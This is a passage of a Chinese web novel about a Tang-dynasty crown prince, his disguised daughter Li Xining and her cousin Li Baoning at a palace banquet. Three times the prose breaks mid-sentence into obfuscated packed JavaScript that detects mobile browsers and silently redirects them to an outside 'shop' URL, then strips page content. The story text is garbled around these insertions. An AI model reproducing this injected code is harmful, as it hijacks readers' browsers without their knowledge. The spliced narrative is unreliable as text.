他换了一身衣服,头发也束好了,他又变成了那个光鲜亮丽的皇太子。 蒋明夷按照他的吩咐,抬了一个大箱子出来,箱顶上铺满了厚厚的灰尘,李息宁到的时候,皇太子正拿着一大串钥匙,蹲在箱子旁边挨个的试。 李息宁问蒋大伴:“爹爹在干什么呢?” 蒋大伴小声告诉息宁:“这箱子里面都是杨妃娘娘留下来的遗物,郎君今日特意找出来,大概是……” 李息宁睁大了眼睛。 杨妃娘娘…… 爹爹,他、他是把娘的遗物找出来了吗? 他是要拿给自己看的吗? 她不知道等这一天等了有多久,对于她来说,母亲留下的只有一个需要避讳的名字—— 杨妙闻。 她出身于弘农杨氏,“杨”这个字,是李息宁学会写的第一个字。 隋代有诗云: 杨柳青青著地垂,杨花漫漫搅天飞。 柳条折尽花飞尽,借问行人归不归? 南朝梁元帝有诗云: 巫山巫峡长,垂柳复垂杨。 母亲给她的感觉,像是春夜里、月光下、一树轻柔多情却又象征着离愁别绪的杨花。 可蒙蒙如细雨般的杨花随东风而去,它真的懂得什么是离愁吗,它会懂人世间的悲欢离合,会懂孩子对母亲的深深眷恋吗? 而现在,李息宁立在原地,与母亲的遗物仅有咫尺之遥,那些抽象的、只存在于感知中的东西,此刻近在眼前,她几乎要忍不住冲上去,看看箱子里面究竟藏了什么,看看那个给了她生命的女子,究竟留下了些什么。 可她的脚步却钉住了。 爹爹为什么现在才拿出来? 这么些年过去了,她都长大了,那些东西被封在箱子里,落满了灰……他是早就忘了吗?还是偶尔也会想起?他对母亲的思念,我对母亲的思念,到底哪一个更刻骨铭心?他今天把这些重新找出来,又是为什么? 是一时兴起的怀旧吗?还是说…… 她的委屈,她的难过,她的伤心,这些复杂的情绪就像是无数个没有得到解答的问题一样堆积在胸口,说不清,又道不明。 “不是这个,也不是这个……” 李守节蹲在地上,皇太子金黄色的衣摆逶迤满地,在大唐,黄为五色之正,为至尊之色,按理说他是不能穿黄的,但天子默许,他的权柄与荣耀全是大明宫里那个人给的,以后他也会是天子,是天,他也会住进大明宫,住进宣政殿,到那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李守节找到了,他像是得到了什么宝贝似的,抱出了一卷画轴,他把半跪在旁边发呆的息宁从地上拽了起来,快步往外走,息宁被他拽得脑袋一空,茫茫然跟在他身后,看着他金线织就的衣摆在空中摇荡—— 蒋明夷大喊:“郎君当心,这画放得久了,不能立刻见风的!”说着忙去关门关窗,一扇扇窗关了下来,屋里暗得如同日暮。 李守节将画卷打开,铺在桌案上。 李息宁站在他的身侧,与他袖子挨着袖子,一起看向那幅画—— “……” 那是一幅,海棠画卷。 李守节举了一盏灯,如豆的灯火下,绢面已经泛黄,画中的海棠却依旧鲜活,花瓣晕着胭脂色,花蕊点着金粉,枝桠间栖着两只翠鸟,圆滚滚、胖嘟嘟的,瞧着十分可爱。息宁怔忡地看着,她几乎能想象出母亲画这幅画时伏案的姿态,握笔的力道,她甚至要忍不住,想伸手去抚摸一下那两只鸟儿身上细腻分明的羽毛…… “树想砍就砍了吧。” 李守节突然开口,打断了她的思绪,他说: “息宁,你看,今年的海棠开得再好,也早已不是曾经枝上的那一朵了。” 李息宁转头去望父亲的脸,偏暗的室光下,烛影摇曳的红,衣冠上烨烨的金,与他清润莹白的脸。毫无疑问,父亲是美丽的。不然这位金尊玉贵的皇太子也不会得到那样多的爱,各种各样人的爱,林娘子的爱,还有…… 母亲的爱。 李守节说,今年的海棠再好,也不是他想要的,属于他的那一朵,他已经见到过了。 李息宁心中酸涩的情感像泉水一样流出。 她想: 他没有忘记母亲。 他还留着她的画,他记得她的画。 那…… 他还爱她吗? 如果还爱她的话?又为什么,要做那些事呢? 他不愿意给我、给她的孩子做一个好榜样吗? 箱子被重新锁上,皇太子牵着她的手,将她从那间房子里带出来。 她回头,光影从栅窗漏了进来,将房间里的每一粒灰尘都照得发亮,迷蒙着的、漂浮着的尘埃后面,李息宁再一次去想象母亲曾经伏案作画的身影。 她恍然出现,可一眨眼,就消失不见了。 6. 禁庭春昼(五) 李宝宁从东雩别院偏门出去,将刚刚写好的帖子揣进衣服里。 赵王李蘅在一棵老松下等他,此时正负手而立,掌中掂着马鞭,仰头望着莲花座照壁上栩栩如生的浮雕金龙。 赵王一袭绯袍,腰饰金玉带,在阳光的映照中铺金叠翠,照壁上的金龙鳞爪分明,龙须飘举,日光下照,那龙仿佛活了一般,蜿蜒着要从照壁上挣出,好似下一秒就要游上赵王的衣襟,与他融为一体。 宝宁迈着步子:“爹爹!” 赵王蘅缓缓回身,他是很传统的贵族作派。赵王的父母都是李姓皇族,父亲是宁王之子,母亲是皇帝胞妹,他从小在宫中长大,身上流淌着最纯正的皇室血脉。都说“父母同姓,其生不藩”,父母在生下他之前,曾夭折过三个孩子,由是对他异常珍爱。 他与表妹范阳公主却很受上苍眷顾,生出了四个健康的孩子。 李宝宁不情不愿地踱步到他面前,赵王蘅顺手用马鞭在他屁股上一敲:“净会给我添麻烦。” 宝宁揉了揉屁股,不痛:“爹爹怎会知道我在这里?” “你从小到大那二两心思,几件能瞒得过我?” 说着,赵王将手中东西递给他,宝宁发现他掂着两根马鞭,心里一阵激动,转头看向不远处的马桩——一匹通体雪白的大宛马正在阳光下呼哧呼哧喘着热气。 “爹爹,你把白义带过来了?!” 他内心狂喜,自从他一眼相中了这匹马,又软磨硬泡让阿母把这匹白马送给他,他可是一天都没有骑过呢! 他今天来找李守节,其实也只是想下午的时候向他炫耀一下自己的马。 可现在看来,李守节应该是不会跟他们一起去的。 宝宁的嘴角止不住地上翘,他几乎是小跑着扑过去,手掌贴上马头,顺着它霜雪似的白毛轻轻摩挲:“阿娘说它现在还小,以后会长得更大,爹爹你说,它会长得像‘照夜白’那样漂亮吗?” 照夜白是开天年间明皇的御马,当年大宛国王进献了两匹汗血宝马,一匹名为玉花骢,一匹则是照夜白。据说它跑起来的时候,神采飞腾,夜晚都会被它雪白的毛色照亮。 赵王说:“我也没有见过照夜白,我只看过韩干的画。” 天宝年间,韩干召入宫中为内廷供奉,玄宗让他到御厩中写生,描绘名马,其中便包括照夜白。赵王进宫时,玄宗已经退位,照夜白也已死去多年,他是和父母一起拜会玄宗时,在兴庆宫晃了几眼。 宝宁听说过韩干画马的故事,他对这个搬到马厩里住,把马当作老师的画家很感兴趣,他替马头顺毛的手一顿,看向赵王:“爹爹,以后等白义长大了,能请韩干先生为它也画一副图吗?” 赵王听了发笑:“那恐怕不行了。” “为什么?” 赵王说:“韩公前不久刚刚驾鹤而去,你上哪里找他画?” 宝宁眨了眨眼,遗憾地“啊”了一声,赵王盯着他看了一会儿,又说:“照夜白是匹好马,不仅仅因为它漂亮,更是它曾随明孝皇帝南征北战,立下赫赫战功,见证了开天盛世。你以后虽不必有明孝皇帝那样的大作为,但若能报效朝廷、辅弼圣君,到那时候,爹爹亲自去请一位比韩公更好的画师为你的宝马作画。” “……是谁呢?” 赵王神秘地笑了笑。 李宝宁不喜欢被卖关子,就抓着他的袖子晃了晃,像小孩一样撒着娇道:“爹爹,你告诉我,是谁呀?是谁呀?” 赵王说:“等你长大就知道了。” “可我现在就想知道!” 李宝宁胡搅蛮缠起来没完没了,赵王被他磨了半天,袖子都快被他扯宽了,伸出手在他脑门上一点,说:“你刚刚去的是谁家?” 宝宁:“……” 好吧。 他对这个答案似乎不是很满意。 赵王又说:“这是什么表情?你可知道,在长安城,皇太子只一副字拿出去都能卖到上千金,更何况是一幅画了?若是这画以后再盖上宣政殿的宝玺,这样,万一哪天我们家揭不开锅了,还能拿着讨两口饭吃,多好。” 宝宁很是无语:“爹爹净会乱说,若我们家都有揭不开锅的那天,还有谁敢拿千金来买我们的画,真会乱说!” 赵王不再与他玩笑,他们各自牵着马,闲庭信步地往回走,说起了下午去昆明池的事。 宝宁把皇太子写给他的帖子拿出来,赵王看也不看,只叫他收好,也没问在东雩别院里发生了什么,宝宁自然什么都没提。 赵王对自己家这二公子从来只是溺爱,早上将他从东雩别院领回家,下午就带他去昆明池跑马了,父子二人痛痛快快地玩了半天,宝宁完全把早上的事抛在了脑后。 回家路上,赵王犹豫再三,终于还是开口了: “宝宁,长安不比家里,以后凡是说话做事都要谨慎些,你不仅仅是你自己,还代表着父母、兄长,你要当个大孩子了。” 那时李宝宁想:可长安也是我的家呀。 不过赵王并没有再多说什么,他也没多问,他们一起吟着诗、唱着歌回了家。 …… 十五望日,皇太子在太极宫千秋殿设宴。 李宝宁随父母进宫,过二道宫门时,他站定,抬头望向太极宫上方那一抹矮矮的夕阳。 他读过王维的诗,读过“九天阊阖开宫殿,万国衣冠拜冕旒”,也读过贾至的诗,读过“千条弱柳垂青琐,百啭流莺绕建章”,大唐从不缺极富才情的诗人,他们的笔下的长安,似乎永远都定格在那个初日喷薄的早上。 李宝宁来得不巧,太阳落下去了。 范阳公主李琰着一身团花纹阔袖披衫,露出绛红色泥金彩绘罗裙,系着鹅黄色披帛,腰悬玉佩,她梳着高高的发髻,金簪、玉插梳、大红色的牡丹绢花点缀其间,使她整个人看上去沉静、高贵、又威严。 赵王穿着和公主同色的衣袍,挽着她的手走在一起。 大殿外,宝宁悄悄挨到母亲身边,伸手去捉她的袖子。 公主低头看他,他一双漆黑的眼睛眨了眨,小声说:“妈妈,妈妈。” “人家都是吃奶的孩子才叫妈妈,你都多大了。”公主伸手点了一下他的额头,说:“怎么了,有什么事?” “舅舅今天会来吗?” “今日是你舅舅设的宴,他不来谁来。” “那永宁郡王会来吗?” “当然了。” “……” 李宝宁说:“妈妈,那我们什么时候回家?” “才刚出门就着想回去了,这可一点也不像我们家二郎,你是不是偷偷在外面惹什么事了?” 说着,公主向宝宁招手:“我听你爹说,你又跑到你舅舅家里去了,是不是不听话惹他生气了,还是跟你表弟恼了?” “我才没有……” 他抬头,有些埋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382557|200205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怨地看向赵王。 说好不告诉阿母的! 李蘅轻拍公主玉肩,温声劝道:“他从小就和舅舅亲,你是知道的。” 公主对赵王说:“你那天晚上和姊奴一起喝酒的事,我还没跟你算账呢,睿卿,你也是读圣贤书的,这是逢君之恶你不知道?” “哎呀,没喝多少,不要生气。” “还有,这些天满城风雨,不知道多少人盯着东雩别院的大门,你不看住我们家宝宁,竟还纵着他到处乱跑,你难道是想——” 李宝宁嘟囔一句:“我又没走大门嘛……” “什么?” 公主听了这话,一股怒火烧上心头,扬手就要去打他:“你这坏小子,又给我乱翻墙头!” “哎呀,爹爹救命!” 李宝宁躲到了赵王身后,赵王说:“你呀你呀,我还没告诉你娘呢,你倒好,不打自招了。” 公主当然不会当着这么多人的面打孩子,厉声道:“今天先这样饶过你,给我老实点,以后若是再犯,小心我打烂你的屁股!听到没有?!” 赵王笑道:“改日给你谋个差事,好叫你不那么清闲,到处乱跑惹你阿娘生气。” 宝宁闷闷地“哦”了一声。 他们来得早,宾客还没有落座,大殿内只有稀稀朗朗的乐声飘出。 千秋殿外,公主和赵王与其他人打起了招呼,很自然地寒暄,说的话无外乎也都是什么——“宝宁都长这么高了”、“定下谁家的姑娘了没”、“真是大孩子了,上次见他的时候,他还那么小一个呢”……云云。 听到这里,李宝宁竟然想起了在东雩别院见到的那个姑娘。 真是奇怪,怎么想起她来了? 他看着阿娘与七大姑八大姨攀谈,宗室人多,他又好些年不在长安,根本认不清谁是谁,见了年轻的唤姐姐,见了年长的唤姑姑,就这样糊弄着罢了,那些话不咸不淡的,他也不是很想听,攀来扯去,最后总能落到他的婚事上。 阿娘微笑着说:“宝宁还小呢,这事我和睿卿以后自会为他留意。” 李宝宁想:我哪里小了?我比永宁郡王还大一岁呢! 不过…… 我以后也会成婚吗?我的妻子又会长什么模样呢? 会……和“她”一样好看吗? 这想法甫一出现,他自己都要被自己吓到了,不知不觉已经原地愣了好久,再抬头时,却见母亲正在与人说话—— 那人看起来与他年纪相差不大,与公主讲话时又是十分恭敬,想来应该辈份和他一样,只是气质华贵,他长身玉立,头戴金冠,一身淡黄色缺胯袍,上好的绸料在宫灯下如流水般滑腻,像一只仙鹤一样立在廊下。 李宝宁正犹豫着要不要上前打招呼,那人却已觉察到他的目光,转过头来,越过众人,对他缓缓一笑。 李宝宁脑中忽然涌出一种异样的感觉。 等等。 怎么这么眼熟? 小妹蕙娘跟在他身后,看见他脸上颜色不对,便悄悄拽了拽他的袖子,问:“二哥,你怎么了?” 李宝宁满是茫然,他附身,很小声地问蕙娘:“那是谁?” “谁是谁?” “就……” 李宝宁再次瞥向他,蕙娘也顺着他的目光看去,瞧见了那人莹白如玉的脸,她竟扑哧一笑: “二哥,你傻了,你怎么连永宁郡王都认不出来了?” 7. 禁庭春昼(六) 这话一落,身边的人都笑了起来。 兄长也说:“这是永宁郡王,二郎想来也是太长时间不见,生疏了。” “可我还记得呢!” 蕙娘脸上露出一个大大的笑容,跑到那人身边,娇滴滴地喊他表哥。 李宝宁想:她……不对,他,他竟然是永宁郡王? 皇太子的独子永宁郡王。 那…… 那天他认出我来了吗? 这么想着,永宁郡王走过来,浅笑着向他打招呼:“二郎表哥,好久不见。” 李宝宁不知道该说什么了。 不过好在小郡王的目光很快绕过了他,看向了他身后,脸上的笑容也跟着活泛了起来,步伐轻快地从他身边翩然而过,携起一阵芬芳。 “阿耶!” 永宁郡王快步走到皇太子身边。 宝宁回头,一眼就看见了李守节,他也是一个人,没有带女眷。 月上柳梢,他如流云携来,悄然出现在了千秋殿外。 太子今日打扮得颇为随性,素袍玉带,泠泠月光照在他的身上,为他蒙上了一层细腻的清辉,看上去不染纤尘。 永宁郡王个子只到太子的肩头,太子于是弯着眼睛低头看他,脸上浮现出很温和的神态:“怎么一转眼你就不见了。” 说罢,自然而然地牵起了郡王的手,他们的衣袖不分彼此地交织在一起。 李宝宁脚下未动,蕙娘拉着他,催促他尽快进殿,他这才发觉,千秋殿内基本已座无虚席了。 皇太子驾临,李宝宁趁这个空挡,和妹妹一起麻利地溜了进去。 宴会开始了。 后位空悬,皇太子便是紧挨着天子的第一人,范阳公主挨着太子,同样设座右侧,赵王在公主旁边,宝宁在赵王身后。 赐酒后,皇帝说:“今日是家宴,不讲究那么多了,各自动筷吧。” 李宝宁正在长个子的年纪,出门的时候,兄长还说让他提前吃点东西垫一垫,宫里规矩多,上菜又慢,别饿着他了。 可他偏不,果不其然,等到这个时候已是饥肠辘辘,他看向一桌子放凉了的玉盘珍馐,确保其他人都开始动筷了,才放心地拿起筷箸…… 忽然,身侧传来一阵轻笑。 他狐疑地转头看去—— 永宁郡王在看他,两人莽然中四目相对。 李宝宁:“……” 他干嘛呀? 他是在笑话我吗? 永宁郡王年纪比他小,却处处都像个大人,他端坐席上,双手叠放在腿间,腰背直挺挺的,乌黑的鬓发被打理得一丝不苟,显得他的脸尤为雪白,他只笑了一笑,便将脸转过去了。 他和皇太子长得很像,无论是眉宇、眼睛、还是嘴巴,该黑的地方黑,该红的地方红,两人简直是从一个模子里刻出来的,他和太子一样漂亮,漂亮到挑不出一点错处来。 那天,他没有梳头发…… 真的很像个女孩。 李宝宁填饱了肚子就在座位上发呆,身旁的内侍说什么,他就应什么,其他的话半句也听不进去,直到端了一盘螃蟹上来—— 李宝宁有几分诧异:“……这个季节竟然会有螃蟹?” 内侍说:“今年开春早,螃蟹都活跃,太子殿下特意嘱咐了鸿胪寺,挑拣出最肥美的送进宫来的。” 宝宁又问:“是舅舅让鸿胪寺做的?” “今日的菜品,都是太子殿下提前选好的。” 李宝宁点点头,“嗯”了一声。 他自打记事起,就长年和父母住在幽州,回长安的次数屈指可数,基本上没有见过螃蟹这个东西,更不会吃这个。 他盯着这蟹黄到发赤的外壳看了又看,拿也不是,不拿也不是,身旁的内侍说:“二公子,这东西累手,还是由我来吧。” 李宝宁想说一个“好”。 可嘴还没张开,余光中就瞥见永宁郡王凑到皇太子身边,拽了拽他的衣摆…… 皇太子回头,郡王不知道说了什么,皇太子就笑,然后就亲自挽起袖子,剥起了盘中的螃蟹来。 不多时,那螃蟹便被他剥得干干净净,壳肉分离,雪白清甜的蟹肉呈到瓷碟中,递给了永宁郡王…… 李宝宁:“?” 他立即去看自己父母。 赵王很知道自己的金贵,从不做这等沾手的活计,公主也是,他们二人连个橘子都很少给李宝宁剥过,更不用说是螃蟹了。 他又去看自己的弟弟妹妹,他们也都看到了,几个孩子面面相觑,俱是大眼瞪小眼,他又去看坐在对面的兄长,兄长轻轻朝他摇了摇头,示意他不要生事。 宝宁知道赵王和公主都很爱孩子,但是,但是…… 他们不会拉着他们的手进大殿,更不会在宴席上亲手给他们剥蟹吃。 不是,李息宁凭什么?!! 宝宁不信邪,喊了赵王一声:“爹爹!” 赵王回身,没听出这声音里的愤懑,偏过脑袋看他:“怎么了?” “我要吃蟹!” 赵王便将桌上已经由内侍剥好的雪白的蟹肉递给他,很慷慨地对他笑了笑:“拿去吧。” 李宝宁还是不满意,他着重强调:“我要吃爹爹亲手剥的蟹!” “……”赵王蘅愣了一愣,他清俊的脸上闪过困惑,顿了顿继续说:“哎呀,你这孩子,吃个饭而已,怎么这么多事?” 被婉拒了。 李宝宁很郁闷地一屁股坐在垫子上。 哼! 不吃了! “二公子?” 他心里窝着一团火,不去看永宁郡王,他知道他正得意着呢,看了生气。 他甚至没注意到身旁什么时候换了人的,那人叫他,他也没有听太清楚,直到那人俯就下身,拍了拍他的肩,宝宁才看到了皇太子身边这位大伴笑呵呵的脸,蒋明夷哄着他:“二公子,别生气了,郎君待你好,他记挂着你呢!” 说着,蒋明夷凑到宝宁耳边,悄悄告诉他:“郎君说了,瀚北海的春天来得晚、走得又急,二公子怕是难得尝到这口鲜甜,这道菜是他特意为你准备的。” 宝宁看向他手中端着的一小碟蟹肉,心中一荡。 他望向皇太子—— 李守节净了手拢在身前,端坐席上,目不偏移,优雅而肃穆。 这下换做他被羡慕了。 弟弟妹妹把父母围了个团团转,左一个“我要吃爹爹盘中的肉”,右一个“我要妈妈喂我吃虾”,赵王和公主都有些无语了,公主说:“一个个的,平日里叫都叫不到跟前,今日是怎么了,都吃错药了吗?” 兄长也笑,伸手点了点李宝宁,用口型无声地说:“你呀……” 李宝宁坐在圈椅里,仰着脑袋,看向藻井下悬挂的造型繁复的琉璃宫灯。 千秋殿香气缭绕,暖意融融,雉尾扇开合如祥云移动,金光下照,玉盏金杯熠熠生辉。 羯鼓与琵琶声声相催,弹奏出如雨般的明快鼓点,舞姬身着长裙,臂钊上的金色流苏沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382558|200205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙作响,她们奔腾、旋转、踢踏,轻盈罗衫上的彩色裙带随着动作高高地飞起,在她们的身上飞扬环绕,如光似电,又如游鱼戏水,掀起阵阵波涛—— 胡旋女,胡旋女。 心应弦,手应鼓。 弦鼓一声双袖举,回雪飘飖转蓬舞。 左旋右转不知疲,千匝万周无已时。 胡旋舞在天宝年间曾风靡朝野,如今四十余年过去,宫廷燕乐对它的青睐依旧不减当年。 歌迷酒乱之中,王公贵族嬉笑玩闹,醉成一片,宴会至此,已成极乐。 一曲罢了,又是一曲,一改先前如水潺潺,两侧宫悬擂起大鼓,杂以龟兹之韵,气势慷慨,奏的是—— 《秦王破阵乐》 李宝宁听得此曲,心中一阵激荡,竟然起身:“我也要跳!” 公主拽他不及,御座上皇帝却金口已开:“好,那便让宝宁来跳。” 公主没有办法,只好纵得他随性妄为。 永宁郡王看着他在圆毯上跳舞。 他的动作轻捷如风,再加上破阵乐节奏多变,银红色的衣摆展开,腰间的金玉饰品都发出清脆的声响,他腰身劲瘦,仰身下腰的动作柔韧干练,引来一阵喝彩,永宁郡王却悄悄将眉头皱了起来:“……” 哼。 真会出风头。 酒过三巡,千秋殿走动的身影渐渐多了起来,皇太子喝了酒,脸上生出了些红晕,灯光落在他的身上,照得他清透的肌肤热烘烘的,如暖玉一般。 他和皇帝说话,善睐的明眸直视天颜,他们挨得很近,声音只有彼此便能听清,皇帝说:“六郎,朕记得你小的时候也爱在宫宴上跳舞,怎的不和宝宁一起。” 皇太子笑了,他笑起来的时候身形有些不稳,却看起来依旧端庄,他说:“宅家莫要取笑,臣都多大了,怎能和孩子们相比?” 说罢,皇帝出去更衣,叫他也来,两宫一同离席,主人翁一走,千秋殿便彻底热闹了。 弟弟妹妹们跑到父母身边,赖在公主的怀里,说想去殿后的花园里玩,公主说:“去吧!不要跑太远。” 蕙娘拉着李宝宁的胳膊:“二哥,我们一起去玩吧?外面有好多的花,好多好多!” 宝宁回绝了蕙娘的邀请,蕙娘也不纠缠,拉着其他孩子欢跑出去,像撒欢的小狗,在满园春色里追闹嬉戏。她和弟弟折了满怀各色鲜花,宛若青帝座下童子,将满园春色带进雕梁画栋的千秋殿。 蕙娘回来后,带着一头热汗,跪坐在宝宁身旁,挨着他说:“二哥,我给你簪花吧?你戴这个,这个好看!” 半个时辰后,皇太子返回千秋殿。 他重新换了一身衣服,依旧是素色,袖口与衣领却织满金线,冠子也换了金的,打了珍珠,整个人瞧起来珠光宝气。他靠在圈椅里听曲,似有几分倦意,双眼微阖,手搭在膝头,指尖有一下没一下地轻叩着。 “舅舅。” “嗯?” 李守节回神,见宝宁不知何时凑到了自己身边,还满头缀着小花儿,一副欲言又止的模样,李守节心情适中,语气温和:“是怎么了?” 宝宁俏生生地对他笑,提出了请求:“我想给舅舅簪花。” 周围似乎静了一瞬。 皇太子带着倦意的眉眼缓缓舒展,正要开口应允,却被一声嗓音打断—— “不行!” 只见李息宁霍然起身,桌案上的盘碟被她撞得当啷作响,她一脸不高兴,说:“李宝宁,我不准你给他簪花!” 8. 禁庭春昼(七) 她不喜欢李宝宁。 李宝宁和她年龄相仿,和她名字相似,小的时候,很多人都把他们两个搞混,按理说他们应该从小相伴、两小无猜才对,但没有。 很多时候,李息宁都很讨厌他,他每次回长安,都会在自己家住上十天半个月,公主不来领他,他就不走,更讨人厌的是,他每天都缠着李守节,不是让他陪自己写字,就是让他带自己出去玩,走到哪里都要跟着,像个跟屁虫一样。 像今天这样在宴会上跳舞、甩开弟弟妹妹们到太子面前撒娇,吸引大人注意的小花招,他不知道已经耍了多少次,可偏偏大家都喜欢…… 就连爹爹也是。 宝宁被她这动静唬得一楞:“怎么不行了?” 李息宁黑黢黢的眼一眨不眨地盯着他,语气态度俱是强硬:“这是我爹爹,我说不行就是不行!” 李宝宁怎会管你这些那些,当着皇太子的面跟永宁郡王大小声:“那又怎样,我就要给舅舅簪!” 太子眼见他俩要吵起来,连忙开口劝和:“无妨,来吧来吧。” “爹爹!” 息宁彻底不愿意了,眼底满是不甘。 她挨着李守节坐下,双手攥住他的衣袖用力摇晃,太子本就醉得身形不稳,被她一闹,几乎都要栽倒了,无奈只好安抚道:“没事的,你们两个一起吧。” 李息宁虽然不高兴,但太子都放话了,她也不好再发脾气,李守节温声细语地哄了他们出去采花,总之要吵出去吵,别在这里出洋相。 于是他们一前一后出了千秋殿,往园子里去。 李息宁走得飞快,三步两步下了玉阶,瞪向身后的人:“不许跟着我!” 李宝宁驳道:“谁跟着你了?” “各采各的!不许凑过来!” “本来就是各采各的,我才不乐意和你一起呢!” 两人你一句我一句,也没真的翻脸。 李息宁来太极宫的次数寥寥可数,更不用说是千秋殿,她没想到千秋殿这样大,朱红色的宫墙仿佛没有尽头似的,门廊一道连着一道,通往看不见光亮的地方。 她沿着路走,一直走,一直走,她看见有假山、有湖、有水中倒影的月亮,她一直走,脚步很轻、很快,进了一道圆月形的拱门—— 李息宁倏然睁大了眼。 牡丹花。 到处都是牡丹花。 她从未见过这样多的牡丹,从前它们都是被栽在盆中、插在瓶里的,从来没有像这样连成一片过。 夜色如纱,李息宁慢慢地往里走,越往里走,那些花就开得越热烈、越华贵,颜色由浅至深、层层叠叠。 她撩开衣摆,踩着松软的花土,花圃里盛放的牡丹簇拥而上,在她身边堆积、蔓延,漾开细碎的波浪。 她伸手,指尖停在一朵金黄色的牡丹上。 “李息宁。” 李宝宁叫她,她将那朵花摘下,缓缓回身。 宝宁还是跟着她过来了。 方才在殿里热闹,他将事忘掉了,现下此处仅有他们二人,他便又重新想了起来。 东雩别院内,海棠树下,他看到的那个人—— “那天……” 李宝宁犹豫着开口,或许是夜太深了,他的声音被风揉得很碎:“……是你吗?” 李息宁沉着脸,没有动,也没有说话。 李宝宁想:看来是了。 “你,”他向她走了几步,站在花圃外,悄声问:“你是在生我的气吗?” 李息宁说:“听不懂。” “那你为什么不高兴?” 宝宁看着她,他的眼睛黑沉沉的,在月光下映着淡蓝色的弧光,他说: “你一整个晚上都在不高兴,你牵着舅舅的手进殿,你让他给你剥螃蟹吃,都是做给我看的吧——为什么要这样做?我跳舞,你不高兴,我想给舅舅簪花,你也不高兴,这到底是为什么?” 李宝宁说这话时,语气平淡而又自然,带着些许困惑,好像他真的很想弄清楚,究竟是什么事、哪件事,惹了李息宁不痛快。 他说:“翻墙头是我不对,我不知道那是你,我不是有意的。” 晚风再起,花影摇晃,李息宁将花捏在手中,静静对着他看了一会儿,忽地唇角一撇,冷冷“哼”了一声。 “你以为,道个歉就没事了?” 李宝宁堪堪眨了下眼,听她继续说:“你现在是知道了那人是我,所以才觉得抱歉,难道我府中的其他女眷,就活该让你调戏吗?你当你是谁?” 李宝宁:“……” 他一时说不出话来。 李息宁脚步轻抬,从花丛中走出,她的衣摆被牡丹簇拥,金色的波浪在她的身边散开,微风拂动,携来一阵淡淡的花香。 她从宝宁身边快步走过,心想晾一晾他,让他长长记性,手腕却忽然一沉—— 宝宁拽住了她的袖子。 她有些不悦:“喂,你干嘛?你这就没意思了。” 李宝宁还是拽着她不撒手,他的眉头拧了起来,似乎有些为难,李息宁也是第一次发现,他为难起来的样子还挺有趣的,挺…… 挺俊的。 “表弟。”李宝宁说。 这称呼让李息宁一怔。 月光洒在两人身上,将他们的影子拉得很长,他们在 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嗣昌是她曾经的名字,她已经很久没有用过了。 皇太子醉了,他微微笑着,伸手去替她整理衣领、冠带,这些平常养母才会为她做的事,他的手指带着养尊处优的细腻与柔软,不经意蹭过她的脸颊,带起一丝温柔的痕痒。 他安静地看了她一会儿,像是在欣赏一件艺术品,他说:“拿去给宅家看看。” 李息宁下意识攥紧花枝。 太子拢着她的手臂,安抚似的拍了拍:“没事的,去吧。” 皇帝御宇四十载,岁月如驰,年华不再,鬓角杂着霜色,又一身沉敛威严的气度,难免会让人害怕。 李息宁毕恭毕敬地走到御前,将金牡丹双手奉上—— “这是谁采的?”皇帝问。 “是臣采的。” 皇帝将花看罢,又问:“你可知这花叫什么名字?” 李息宁摇了摇头。 “此花名为——‘玉殿春’。” 说这话的时候,皇帝似乎想起了什么,他的眸色暗沉沉的,迟了很久,才继续说:“这花不好养,满园子里开了不少,长得好的却不多,这朵看着还行,倒叫你们采了。” 李息宁低下头去,俨然一副闯了祸的模样。 “不过……” 她已经做好了挨罚的准备,皇帝却并真正动怒,很轻地来了一句:“既然是给太子的,倒也不算浪费——” 他说:“去给你爹爹戴上吧。” 她于是重新坐回皇太子的身边。 9. 禁庭春昼(八) 宴会结束后,皇帝先一步摆驾回宫,其余人走的走、散的散,几个亲王公主一同在后殿赏花,颇有几分秉烛夜游的意趣。 千秋殿临着太液池,殿后的别院中有太湖石堆砌出的一座假山,层峦叠翠,云绕翠微,假山与池水遥相呼应,楼阁拔地而起,依势而建,有十步一亭,五步一台,岸柳抽枝,微风轻拂,院中姹紫嫣红,蜂蝶翩跹。 宗室里的孩子们不少,辈份却各种各样,就拿李息宁来说,其中年龄比她小的几个男孩,她唤什么的都有,有弟弟、有侄儿,甚至还有叫叔叔的。 起先大家还长幼有序,到后面感情热络了,自然也不管那些,堆在一起哥哥姐姐乱叫,大人们听见了哈哈大笑,却不阻止。 李息宁玩了一阵,觉得没意思,时候也不早了,她有些想回家。 她于是去找李守节。 行过一座假山,假山下,似乎有人在说话。 “若华呢,她怎么没有和你一起来?” 息宁顿足,这声音,是皇太子和公主。 李守节说:“她受了风寒,太医说最好先不要出门了,于是我让她在家里养着。” 李息宁:“……” 若华是林良娣的名字。 李息宁心想:明明是良娣娘娘自己不想去的。 出门的时候,李守节甚至还去她的屋子里找她,却见她连妆容都没有整理,李守节问:“真的不一起去吗?” 林良娣说:“不去,要去你们自己去,人那么多,吵得我头疼。” 想到这里,李息宁有些想笑。 “天气反常,冷一阵热一阵的,确实容易让人沾了病气,若是真的病了,在家好好将养也是对的,若是因为些别的……” 